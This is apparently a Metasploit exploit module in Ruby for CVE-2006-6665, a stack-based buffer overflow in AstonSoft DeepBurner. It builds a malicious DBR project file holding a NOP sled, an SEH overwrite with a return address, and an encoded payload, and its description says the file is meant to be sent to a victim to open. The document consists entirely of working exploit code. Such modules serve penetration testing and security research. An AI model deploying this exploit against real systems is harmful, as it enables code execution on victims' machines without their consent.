##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AstonSoft DeepBurner (DBR File) Path Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in versions 1.9.0.228,
        1.8.0, and possibly other versions of AstonSoft's DeepBurner (Pro, Lite, etc).
        An attacker must send the file to victim and the victim must open the file.
        Alternatively it may be possible to execute code remotely via an embedded
        DBR file within a browser, since the DBR extension is registered to DeepBurner.
      },
      'License'        => MSF_LICENSE,
      'Author' 	 =>
        [
          'Expanders',  # original discovery (2006)
          'fl0 fl0w',   # re-discovered 2009/2010
          'jduck'       # metasploit version
        ],
      'References'     =>
        [
          [ 'BID', '21657' ],
          [ 'OSVDB', '32356' ],
          [ 'CVE', '2006-6665' ],
          [ 'EDB', '2950' ],
          [ 'EDB', '8335' ],
          [ 'EDB', '11315' ]
        ],
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'DisableNops' => true
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x101021f8 } ], # p/p/r - basswma.dll v2.2.0.3 (seems to be packed)
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 19 2006',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.dbr']),
      ])
  end

  def exploit

    template = <<-EOS
<DeepBurner_record ver="1.9.0.228" type="data">
<data_cd ver="1" device="" session2import="0" finalize_disc="0" finalize_track="1" bootable="0" boot_image_path="">
<dir name="CDRoot" imp="0">
<file name="map_fear_drives.bat" path="REPLACE_ME" imp="0" />
</dir>
</data_cd>
<cd_label ver="1" zoom="0" view="label" layout="standart">
<label />
<front />
<back />
</cd_label>
<autorun ver="1" use="0">
<main name="MainForm" image_path="" hint="" />
<title name="Title" text="Title" hint="Title box" left="144" top="48" width="57" height="33" fontname="Times New Roman" fontsize="20" fontcolor="255" visible="1" fontstyle="0" />
<comment name="Comments" text="Comment" hint="Comment box" left="40" top="76" width="89" height="29" fontname="Times New Roman" fontsize="15" fontcolor="255" visible="1" fontstyle="0" />
<exitbutton name="ButtonExit" image_path="" image_down_path="" text="Exit" hint="Exit this program" left="120" top="96" width="75" height="25" fontname="MS Sans Serif" fontsize="8" fontcolor="255" visible="1" fontstyle="0" />
</autorun>
</DeepBurner_record>
EOS

    seh_offset = 272
    path = make_nops(seh_offset)
    path << generate_seh_record(target.ret)
    path << payload.encoded
    path << rand_text_alphanumeric(1000) * 20
    path = xml_encode(path)

    sploit = template.gsub(/REPLACE_ME/, path)

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)

  end

  def xml_encode(str)
    ret = ""
    str.unpack('C*').each { |ch|
      case ch
      when 0x41..0x5a, 0x61..0x7a, 0x30..0x39
        ret << ch.chr
      else
        ret << "&#x"
        ret << ch.chr.unpack('H*')[0]
        ret << ";"
      end
    }
    ret
  end
end
